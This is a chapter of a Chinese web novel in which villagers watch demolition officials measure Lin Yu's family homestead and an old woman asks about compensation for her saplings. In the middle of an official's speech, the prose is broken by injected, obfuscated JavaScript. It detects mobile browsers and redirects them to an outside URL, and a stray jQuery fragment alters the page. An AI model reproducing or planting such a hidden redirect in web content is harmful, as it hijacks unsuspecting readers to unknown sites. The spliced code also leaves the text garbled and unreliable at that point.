等两人提着东西回到家门口的时候,不管是外头还是院子里,已经站下一地人了。
“让让,大家让让,先让俺们林余进去啊!”
赵秀费劲地扒拉着人群,吹着小风的天气里愣是出了一头汗。
“不是,咋地大家都出来了?这下是地也不种了,鸡也不养了...”
有人听见她这话就是笑,“秀儿你这话说的,这地马上也要征收了,当然不种啦!”
“...林余家可是第一家量地的,大家当然得都出来看看了!虽说上午大队刚贴了补偿标准,但俺们也看不懂啊,这不现场过来学习呢?”
这么一说也有道理。
赵秀心想让她看那些字她也看不明白,大家现在脑子里全是拆迁这档子事,当然得亲自过来瞧瞧。
只是这人也太多了!
好不容易从外面挤进院子门口,一看院子里的人她眼前就是一黑。
这得亏是林余家这院子大,才能站得下这么多人啊!
和她有同样想法的人不在少数。
有人打量着院子里,忍不住说着:“以前没发现林大娘院子这么大啊...”
有人看着眼红起来,说出来的话里都冒着酸水,“这大院子,这得分多少钱呐?就林大娘和林余这得花到啥时候去啊,只怕下辈子都花不完吧!”
赵秀瞥了说话的人一眼,乐了,“哎呦我说李三叔,您家也不差吧?您家地不多,可人头多啊,我可是听我爸说了,人头也算钱呢~”
李三旺闻言脸上立刻浮起得意来。
他这人也是个奇葩,家里穷得叮当响,还偏偏觉得自己家里有皇位继承,就为了拼出个儿子来,一连生了四个姑娘还不停,每次骂骂咧咧交完超生费转头就接着生,村子里不少人背后都拿他当谈资,偏他还觉得众人皆醉他独醒。
这会儿听赵秀这么说,他更是得意的厉害,“那是,不是我吹,我早就知道有这么一遭,这叫什么?这叫有远见...”
又开始了又开始了。
他身边不少村民转回了头,脸上表情奇特。
自打确定人头也能算钱后,李三旺已经不知道在村里边说过几百回了。
有人实在听不下去了,忍不住问:“三旺啊,那你打算分给姑娘们多少钱啊?这钱可是人家凭自己本事得来的,不分不合适吧?”
李三旺这下不说话了,良久才憋出一句,“你怎么知道我不分?你管我分不分?”
赵秀立刻道:“哎呦李三叔,我们可都听着了,这话可是你自己说的,该分的钱你可不能昧了。”
“就是就是,我们也听着了,要不说还是你三旺对闺女好呢...”
一群人你一句我一句把李三旺架得高高的,他再一想自己即将分来的大笔拆迁款,大手一挥,“分就分,你们瞧着,我李三旺说到做到!”
赵秀嘴角憋着笑,也不再和他多说了,继续错着身子往前挤。
等林余和赵秀挤到最前头,村长和书记就开始往外赶人,“好了好了都先出去,给人家拆迁办的同志腾个地方,都别在院子里站着啊,往外走...”
拆迁办拢共来了六个人,一个手上拿着笔和本,一个手上拿着计算器,两个手上拿着丈量工具,还有一个手里拿着保温杯和一个穿着西装的人。
拿着保温杯的人看样子是这群人的领导,在和林余、林老太简单把量地的流程和注意事项说了一遍后,又对着两人介绍:“这位是任律师,一会儿你们如果有什么不懂的,可以问他,咱们齐心协力把这件事办好。”
穿着西装的男人冲着两人颔首点头,脸上挂着温和笑容。
“没什么问题的话,那咱们就开始了?”
保温杯领导又问了一句,双方都没什么异议,于是开始正式量地。
林余一路跟着,心想大概是因为她们是第一家的缘故,拆迁办的同志们十分细致,她在旁边看着,不仅挑不出一分错来,甚至被他们的精确程度折服了。
“院子总共占地面积是六百零九点七四平米,房屋一共十三间,合计占地面积总共一百九十三点五一平方,地窖占地面积...”
院子里量得差不多了的时候,保温杯领导端起保温杯抿了抿已经干渴的唇,忍不住感叹:“你们家这宅基地属实不小,等量完了宅基地一会儿先去量田,我听说还有林地?林地大概多大?果树种了多少?”
林余还没回答,一旁的林老太便着急回答道:“当初大队,哦也就是村委会批下来三十亩地,我拾掇出来的大概有个十二三亩左右,这些年我陆陆续种的活下来的大概有近千棵,虽说都是些树苗,但也是好不容易活下来的...
林老太搓着手,一副心急模样,“这位领导同志,我听说村里的荒地不属于赔偿范围,那我这些树苗怎么办?这些都是我辛辛苦苦一点一点种下来的,是我给孙女留着的嫁妆...”
见她着急得想要站起来,保温杯领导赶紧上前制止,问道:“大娘,你别着急,你先和我说说什么荒地?”
林老太于是把这些年自己拾掇这些地的事情一一讲述了出来。
听完她的话后,对方一笑,而后耐心解释:“明白了,你们的情况我了解了,是这样的,既然树苗已经存活,这些地自然不能按荒地算,得按林地算,不过林地补偿标准比宅基地少,但地上的附着物,也就是树苗我们也会根据评估标准进行合理的赔偿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317174|183062||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,这个你们不用担心。”
林老太这下放了心。
院子里除了房子地窖之外,还有水井、种的菜地,这些都得单独丈量清楚。
负责丈量的两个同志勤勤恳恳忙了快一上午,总算是量出来了,眼看着日头高悬,保温杯领导一拍手让大家先歇会儿,简单对付口饭等下午再接着量。
林老太于是热情地招呼拆迁办的同志们,让他们千万留下来吃顿饭。
拆迁办众人自然不会答应,纷纷摆手,只是借了张凳子,掏出自己提前带好的饭盒来。
林余十分有眼色地给他们倒了几碗热水,门口终于能再次进来的赵秀一溜烟也跑进了厨房。
“要不咱们给人家切点儿皮冻添个菜?”两个小姐妹一拍即合。
林余于是去院子里把皮冻拿回来,连忙切了一碟,让赵秀端出去。
不多时外面响起了推搡的声音。
林余将一直卤着的鸡腿关了火,掀开看了一眼,看着酱色将鸡腿包裹,弯了弯眉,走出厨房。
鸡腿的香气早就飘散出来,如今随着她掀开盖子,香味更是浓郁,缠绕在她周身,随着她走出厨房霎时间散在院子里。
院子里被赵秀的热情生生逼退到院门口的拆迁办几人忍不住咕咚咽了一口口水。
嘶,好香啊!
哪来的香味?
几人低头看了一眼自己的饭盒,除了凉气还是凉气。
不管哪里来的,反正总归不可能是自己饭盒里的。
命好苦。
但还不能怪政府。
保温杯领导鼻子自然也好使,同样也闻到了这股香味,但他忍住心里的馋十分无奈地解释,“我知道你们两位小同志是好心,但我们真不能吃,这是要犯纪律的!你们如果实在好心就让我们在这院子里安生吃口饭,下午咱们才好抓紧时间继续量地啊。”
赵秀十分不理解,“这碗皮冻就是给你们就个菜,我们不请你们吃饭,这也不行吗?”
保温杯领导:“别说就个菜,吃一口,不,半口都不行。”
他们这工作不比其他,涉及的那是实实在在的钱,一个小数点可能影响的都是一笔巨大的钱,绝对不能落下任何话柄。
林余此时也反应过来了,虽说她们本是好心,但显然这会对这些同志们造成麻烦。
于是她朝着赵秀挥手,将人招回来又笑着道:“那我们就不给大家添麻烦了,不过饭不能吃水总是可以喝的吧?大家水不够了再找我要,这天气虽说中午暖和了些,但也是有凉气的,喝点热水舒服。”
见终于说通,拆迁办的人松了口气,又走进院子里。
等等,怎么越走近香味越浓了?